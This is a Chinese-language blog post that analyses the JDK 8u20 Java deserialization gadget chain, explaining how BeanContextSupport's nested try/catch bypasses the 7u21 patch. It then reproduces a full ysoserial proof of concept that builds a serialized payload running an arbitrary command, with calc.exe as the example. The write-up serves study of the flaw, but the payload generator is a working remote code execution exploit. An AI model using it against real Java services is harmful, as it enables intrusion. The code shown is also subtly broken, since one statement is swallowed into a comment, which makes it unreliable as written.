jdk8u20 链子分析
jdk8u20 链子分析
在 JDK7u21
中反序列化漏洞修补方式是在 AnnotationInvocationHandler
类对type属性做了校验,原来的payload就会执行失败。但在8u20中可以用 BeanContextSupport
类对这个修补方式进行绕过,所以说其实 jdk8u20 就是对 jdk7u21 的绕过。
链子分析
可以看到在高版本的 AnnotationInvocationHandler#redobject
方法判断 this.type 是不是annotation类型,原payload里面是 Templates
类型,所以这里会抛出错误,
这里需要提前了解一些机制,
一、反序列化机制
oracle 官方定义的 Java 中可序列化对象流的原则——如果一个类中定义了readObject
方法,那么这个方法将会取代默认序列化机制中的方法读取对象的状态,可选的信息可依靠这些方法读取,而必选数据部分要依赖defaultReadObject
方法读取;
可以看到在该类内部的readObject
方法第一行就调用了defaultReadObject()
方法,该方法主要用来从字节流中读取对象的字段值,它可以从字节流中按照定义对象的类描述符以及定义的顺序读取字段的名称和类型信息。这些值会通过匹配当前类的字段名称来赋予,如果当前这个对象中的某个字段并没有在字节流中出现,则这些字段会使用类中定义的默认值,如果这个值出现在字节流中,但是并不属于对象,则抛弃该值。
在利用defaultReadObject()
还原了一部分对象的值后,最近进行AnnotationType.getInstance(type)
判断,如果传入的 type 不是AnnotationType
类型,那么抛出异常。
也就是说,实际上在 jdk7u21
漏洞中,我们传入的 AnnotationInvocationHandler
对象在异常被抛出前,已经从序列化数据中被还原出来。换句话说就是我们的恶意 payload 已经构造进去了,但是异常阻断了继续执行,所以这里需要逃过异常抛出。
那么又该怎么逃呢?
二、Try/catch
正常的就是把可能发生异常的语句放进 try{...}中,然后使用catch
捕获对应的Exception
及其子类,这样一来,在 JVM 捕获到异常后,会从上到下匹配catch
语句,匹配到某个catch
后,执行catch
代码块,从而达到继续执行代码的效果。
这里我们需要讨论双重 try/catch 的情况,
package org.example;
public class test {
public static void main(String[] args) {
try {
try {
int i = 1/0;
}catch (Exception e){
throw new Exception("wrong");
}
}catch (Exception e){
}
System.out.println("true");
}
}
运行看到显示 true
这能说明什么呢?在内层的 try/catch 中进入 catch 模块抛出了异常然后会直接进入外层 catch 的模块打印信息,这样就会继续执行命令从而绕过了抛出异常阻断执行了。
那么结合上面 AnnotationInvocationHandler#redobject
中的抛出异常如果在其外面在套一层 try/catch 是不是就可以成功逃脱了。
这里漏洞者用到 java.beans.beancontext.BeanContextSupport
类对这里进行了绕过。定位到 BeanContextSupport
类,看到其 readobject 方法调用了readChildren,
跟进
再次调用 ois.readObject()
方法,并且 try/catch 可以继续执行执行,也就是说这里可以调用 AnnotationInvocationHandler#redobject
,然后抛出异常后匹配到这里 catch 模块执行 continue 从而继续执行命令。
如何用BeanContextSupport.readObjec
t触发AnnotationInvocationHandler.readObject
呢?
具体利用链子就是在LinkedHashSet
中强行插入一个BeanContextSupport
类型的字段值,由于在java反序列化的流程中,一般都是首先还原对象中字段的值,然后才会还原objectAnnotation
结构中的值(即是按照序列化数据结构的顺序),所以它会首先反序列化LinkedHashSet
,然后反序列LinkedHashSet
字段的值,由于在这个字段值中有一个BeanContextSupport
类型的字段,所以反序列化会去还原BeanContextSupport
对象,也就是objectAnnotation
中的数据
在反序列化BeanContextSupport
的过程中,会首先反序列化BeanContextSupport
的字段值,其中有个值为 Templates.class
的 AnnotationInvocationHandler
类的对象的字段,然后反序列化会去还原AnnotationInvocationHandler
对象,成功的关联了下一个链!
更进具体的原理可以参考:https://cloud.tencent.com/developer/article/2204437
poc 构造
这个就直接参考师傅们的了,懒得构造了
参考:https://tttang.com/archive/1729/#toc_try-catch-demo
poc 项目:https://github.com/1nhann/ysoserial/blob/master/src/main/java/ysoserial/payloads/Jdk8u20_my.java
package ysoserial.payloads;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import ysoserial.Deserializer;
import ysoserial.Serializer;
import ysoserial.payloads.util.ByteUtil;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.ReadWrite;
import ysoserial.payloads.util.Reflections;
import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextSupport;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;
public class Jdk8u20_my implements ObjectPayload{
public static Class newInvocationHandlerClass() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS);
CtMethod writeObject = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" +
" os.defaultWriteObject();\n" +
" }",clazz);
clazz.addMethod(writeObject);
Class c = clazz.toClass();
return c;
}
public byte[] getPayload(final String command) throws Exception {
TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl(command);
Class ihClass = newInvocationHandlerClass();
InvocationHandler ih = (InvocationHandler) Reflections.getFirstCtor(ihClass).newInstance(Override.class,new HashMap<>());
Reflections.setFieldValue(ih,"type", Templates.class);
Templates proxy = Gadgets.createProxy(ih,Templates.class);
BeanContextSupport b = new BeanContextSupport();
Reflections.setFieldValue(b,"serializable",1);
HashMap tmpMap = new HashMap<>();
tmpMap.put(ih,null);
Reflections.setFieldValue(b,"children",tmpMap);
LinkedHashSet set = new LinkedHashSet();//这样可以确保先反序列化 templates 再反序列化 proxy set.add(b);
set.add(templates);
set.add(proxy);
HashMap hm = new HashMap();
hm.put("f5a5a608",templates);
Reflections.setFieldValue(ih,"memberValues",hm);
byte[] ser = Serializer.serialize(set);
byte[] shoudReplace = new byte[]{0x78,0x70,0x77,0x04,0x00,0x00,0x00,0x00,0x78,0x71};
int i = ByteUtil.getSubarrayIndex(ser,shoudReplace);
ser = ByteUtil.deleteAt(ser,i); // delete 0x78
ser = ByteUtil.deleteAt(ser,i); // delete 0x70
return ser;
}
public static void main(final String[] args) throws Exception {
byte[] ser = new Jdk8u20_my().getPayload("calc.exe");
ReadWrite.writeFile(ser,"ser.bin");
// 不能直接 Deserializer.deserialize(ser) , 除非 redefine 了 AnnotationInvocationHandler 否则会报错
// Deserializer.deserialize(ser);
}
@Override
public Object getObject(String command) throws Exception {
return getPayload(command);
}
}
最后反序列化成功弹出计算机,